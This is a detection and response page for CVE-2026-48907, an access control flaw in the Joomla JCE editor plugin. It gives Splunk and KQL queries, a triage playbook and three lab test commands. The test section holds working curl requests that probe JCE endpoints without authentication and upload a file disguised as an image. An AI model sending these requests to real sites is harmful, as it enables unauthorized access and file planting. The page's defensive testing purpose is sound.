CVE-2026-48907 Splunk · SPL

Detect Widget Factory Joomla Content Editor Improper Access Control (CVE-2026-48907) in Splunk

Detects exploitation of CVE-2026-48907, an improper access control vulnerability (CWE-284) in the Joomla Content Editor (JCE) plugin by Widget Factory. This vulnerability is actively exploited in the wild (CISA KEV) and allows attackers to bypass access controls, potentially enabling unauthorized file uploads, remote code execution, or administrative actions within Joomla CMS installations.

MITRE ATT&CK

Tactic
Initial Access Persistence Privilege Escalation

SPL Detection Query

Splunk (SPL)
spl 
index=web OR index=proxy
| where earliest=-24h
| search (uri_path="*/index.php*" AND uri_query="*option=com_jce*") OR uri_path="*/components/com_jce*" OR uri_path="*/plugins/editors/jce*"
| search uri_query="*task=plugin*" OR uri_query="*task=upload*" OR uri_query="*task=save*" OR uri_query="*view=editor*"
| search http_method=POST OR http_method=PUT
| search status=200 OR status=201 OR status=302
| stats count AS request_count, dc(uri_query) AS unique_params, values(status) AS status_codes, values(uri_path) AS paths BY src_ip, span(1m,5m)
| where request_count > 3
| eval risk_score=case(request_count > 20, "critical", request_count > 10, "high", request_count > 3, "medium", true(), "low")
| table _time, src_ip, request_count, unique_params, status_codes, paths, risk_score
| sort -request_count
critical severity medium confidence

Detects exploitation attempts against Joomla Content Editor plugin (CVE-2026-48907) by identifying clustered POST/PUT requests to JCE-specific URL paths and task parameters. Aggregates by source IP to surface both automated scanning and targeted exploitation.

Data Sources

Web proxy logsApache/Nginx access logsIIS logsWAF logs

Required Sourcetypes

access_logapache:accessiisnginx:plus:kv

False Positives & Tuning

  • Content editors actively using JCE plugin for legitimate article publishing and file management
  • Automated backup or migration tools that interact with Joomla component APIs
  • Web crawlers or SEO tools that index Joomla CMS query parameters

Other platforms for CVE-2026-48907

Microsoft Sentinel (KQL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated JCE Plugin Task Enumeration

    Expected signal: HTTP 200 response to unauthenticated POST request targeting com_jce plugin task endpoint; web server access log entry with POST method, 200 status, and option=com_jce in query string

  2. Test 2JCE File Upload via Access Control Bypass

    Expected signal: Multipart POST request to com_jce imgmanager upload endpoint; filesystem write event in Joomla images directory; PHP process creating new file in web-accessible path

  3. Test 3JCE Administrator Action Impersonation via Access Control Bypass

    Expected signal: POST request to JCE task endpoint returning 200 with directory listing or JCE interface content rather than 403/401 response; web server access log confirming successful response to unauthenticated request

Last updated: 2026-06-19 Research depth: standard
References (5)

Response Playbook

Triage

  1. Identify all Joomla installations in your environment running the Widget Factory JCE plugin; cross-reference asset inventory against web server logs for presence of 'com_jce' URL parameters in the past 72 hours
  2. Determine JCE plugin version by checking /administrator/components/com_jce/jce.xml or the Joomla extension manager — versions without the June 2026 security patch are vulnerable
  3. Review web server access logs for the exploited host focusing on POST/PUT requests containing 'option=com_jce', 'task=upload', or 'task=plugin' parameters, noting source IPs, timestamps, and HTTP response codes
  4. Check for newly created or modified PHP files in Joomla's /images/, /media/, /tmp/, or /uploads/ directories within the exploitation timeframe — these are common webshell drop locations following JCE upload bypass
  5. Assess whether the Joomla installation allows unauthenticated or low-privilege access to JCE endpoints by attempting to reproduce the access control check failure in a controlled environment

Containment

  1. Immediately block source IPs identified in exploitation attempts at the WAF, load balancer, or network perimeter; for active exploitation, consider taking the affected Joomla site offline or switching to maintenance mode
  2. Apply the Widget Factory JCE security patch immediately (see https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites); if patching is not immediately possible, disable the JCE plugin via Joomla Extension Manager and revert to the default TinyMCE editor

Evidence Collection

  1. Preserve a full copy of web server access logs (Apache/Nginx access.log, IIS logs) covering at least 72 hours before detection; capture both raw logs and any WAF/CDN logs that may include request bodies
  2. Collect filesystem snapshots or directory listings with timestamps from Joomla's upload directories (/images, /media, /tmp) and compare against known-good baseline; hash any suspicious PHP or executable files found

Escalation Criteria

  • !Escalate to incident response if any newly created PHP files, webshells, or reverse shell payloads are discovered in Joomla upload directories — this indicates successful post-exploitation beyond the initial access control bypass
  • !Escalate immediately if the compromised Joomla installation has database credentials, API keys, or Vault tokens accessible from the server environment, or if lateral movement indicators (new user accounts, scheduled tasks, outbound C2 connections) are detected

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs containing POST/PUT requests to /index.php?option=com_jce with task=upload or task=plugin parameters
  • >Filesystem modification timestamps on files in Joomla's /images/, /media/, /tmp/ directories created around the exploitation window
  • >PHP error logs (/var/log/php*, Joomla's administrator/logs/) containing JCE-related errors or unexpected file operation failures
  • >Database records in the Joomla #__session and #__user_keys tables showing session creation for JCE component access
  • >Any .php files with obfuscated content (base64_decode, eval, gzinflate patterns) found in web-accessible upload directories

Tuning Guidance

Start by whitelisting known Joomla administrator IP ranges and content management automation service IPs to reduce false positives from legitimate JCE usage. Increase the threshold (default >3 requests per 5 minutes) for high-traffic editorial sites. If your WAF logs include request bodies, add detection for multipart/form-data uploads containing PHP code (<?php patterns) to the JCE upload endpoint for higher-fidelity alerting. Reduce confidence to 'low' if the Joomla installation has already been patched and monitoring is maintained for historical review. Consider suppressing alerts for source IPs that consistently appear in Joomla administrator audit logs.

Hunting Queries

7-day retrospective hunt across all JCE plugin task parameters to identify patterns of access, surfacing unusual task types or access from unexpected source IPs that may indicate pre-exploitation reconnaissance or exploitation of CVE-2026-48907

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated >= ago(7d)
| where csUriQuery has "option=com_jce"
| extend TaskParam = extract(@"task=([^&]+)", 1, csUriQuery)
| where TaskParam in ("plugin", "upload", "save", "file", "imgmanager")
| summarize RequestCount = count(), SourceIPs = dcount(cIP), Methods = make_set(csMethod), StatusCodes = make_set(scStatus) by TaskParam, csHost
| order by RequestCount desc
Hunting — SPL
spl 
index=web earliest=-7d
| search uri_query="*option=com_jce*"
| rex field=uri_query "task=(?<jce_task>[^&]+)"
| where isnotnull(jce_task)
| stats count AS req_count, dc(src_ip) AS unique_ips, values(http_method) AS methods, values(status) AS statuses BY jce_task, host
| sort -req_count

Atomic Red Team Tests

Test 1 Unauthenticated JCE Plugin Task Enumeration
linux

Tests whether the JCE plugin exposes task endpoints to unauthenticated users, confirming the access control bypass condition of CVE-2026-48907

Command

bash 
# Replace TARGET_URL with your lab Joomla instance
TARGET_URL="http://joomla-lab.local"
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "${TARGET_URL}/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'action=list&path=/'
echo "Response code above — 200 indicates access control bypass"

Cleanup

bash 
No cleanup required — this is a read-only probe. Review web server access logs to confirm request was logged.

Expected Telemetry

HTTP 200 response to unauthenticated POST request targeting com_jce plugin task endpoint; web server access log entry with POST method, 200 status, and option=com_jce in query string

Expected Detection

Alert fires in all SIEM platforms detecting POST to com_jce with task=plugin parameter returning HTTP 200 from an unauthenticated session

Test 2 JCE File Upload via Access Control Bypass
linux

Simulates attacker uploading a test file through the JCE imgmanager plugin endpoint without proper authentication, testing the file upload vector of CVE-2026-48907

Command

bash 
TARGET_URL="http://joomla-lab.local"
# Create a benign test file (not a webshell)
echo 'Detection test file - not malicious' > /tmp/jce_test_detection.txt
curl -s -w "\nHTTP_STATUS:%{http_code}" -X POST \
  "${TARGET_URL}/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager" \
  -F "action=upload" \
  -F "path=/" \
  -F "upload=@/tmp/jce_test_detection.txt;type=image/jpeg;filename=test_detection.jpg"
rm -f /tmp/jce_test_detection.txt

Cleanup

bash 
Remove any uploaded test file from the Joomla images directory: find /var/www/html/images/ -name 'test_detection*' -delete

Expected Telemetry

Multipart POST request to com_jce imgmanager upload endpoint; filesystem write event in Joomla images directory; PHP process creating new file in web-accessible path

Expected Detection

SIEM alerts on POST request with task=upload to JCE endpoint; EDR alerts on web server process (apache2/php-fpm) writing file to images/ directory

Test 3 JCE Administrator Action Impersonation via Access Control Bypass
linux

Tests whether the access control bypass allows a low-privilege or unauthenticated user to invoke JCE actions that should require administrator-level Joomla permissions

Command

bash 
TARGET_URL="http://joomla-lab.local"
# Attempt to access JCE configuration save endpoint without admin session
curl -s -o /tmp/jce_response.html -w "HTTP_STATUS:%{http_code}" -X POST \
  "${TARGET_URL}/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'action=folders&path=/'
grep -i 'error\|denied\|unauthorized\|403' /tmp/jce_response.html || echo 'No access denial found — potential bypass confirmed'
rm -f /tmp/jce_response.html

Cleanup

bash 
Remove temporary response file: rm -f /tmp/jce_response.html

Expected Telemetry

POST request to JCE task endpoint returning 200 with directory listing or JCE interface content rather than 403/401 response; web server access log confirming successful response to unauthenticated request

Expected Detection

Detection triggers on successful (HTTP 200/302) POST request to com_jce task=plugin endpoint from session without valid Joomla administrator cookie/token

Related Detections

Tactic Hubs

TA0001Initial AccessTA0003PersistenceTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1505.003Web ShellT1068Exploitation for Privilege Escalation

Same Tactic: Initial Access

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